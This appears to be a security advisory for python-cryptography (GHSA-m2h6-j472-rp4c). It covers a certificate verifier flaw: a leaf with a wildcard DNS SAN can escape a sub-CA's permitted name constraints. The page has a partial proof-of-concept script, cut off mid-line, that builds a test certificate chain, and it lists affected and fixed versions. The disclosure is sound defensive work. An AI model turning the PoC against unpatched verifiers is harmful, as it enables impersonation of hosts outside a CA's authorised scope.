python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extensi
GHSA-m2h6-j472-rp4c
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:GHSA-m2h6-j472-rp4c
cryptography
Source reference: /affected/0/package/name
- Affected versions
- 45.0.0
Source reference:
/affected/0/versions45.0.1Source reference:
/affected/0/versions45.0.2Source reference:
/affected/0/versions45.0.3Source reference:
/affected/0/versions45.0.4Source reference:
/affected/0/versions45.0.5Source reference:
/affected/0/versions45.0.6Source reference:
/affected/0/versions45.0.7Source reference:
/affected/0/versions46.0.0Source reference:
/affected/0/versions46.0.1Source reference:
/affected/0/versions46.0.2Source reference:
/affected/0/versions46.0.3Source reference:
/affected/0/versions46.0.4Source reference:
/affected/0/versions46.0.5Source reference:
/affected/0/versions46.0.6Source reference:
/affected/0/versions46.0.7Source reference:
/affected/0/versions47.0.0Source reference:
/affected/0/versions48.0.0Source reference:
/affected/0/versions48.0.1Source reference:
/affected/0/versions - Fixed versions
- 49.0.0
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "45.0.0"
},
{
"fixed": "49.0.0"
}
]
}
],
"package": {
"name": "cryptography",
"purl": "pkg:pypi/cryptography",
"ecosystem": "PyPI"
},
"versions": [
"45.0.0",
"45.0.1",
"45.0.2",
"45.0.3",
"45.0.4",
"45.0.5",
"45.0.6",
"45.0.7",
"46.0.0",
"46.0.1",
"46.0.2",
"46.0.3",
"46.0.4",
"46.0.5",
"46.0.6",
"46.0.7",
"47.0.0",
"48.0.0",
"48.0.1"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m2h6-j472-rp4c/GHSA-m2h6-j472-rp4c.json"
}
}
]- Related CVEs
- CVE-2026-69248
Source reference:
/aliases
Publisher severity
No explicit severity was provided.
- Event
- #13823 · Revision 1
- Added to Heist Feed
- Publisher date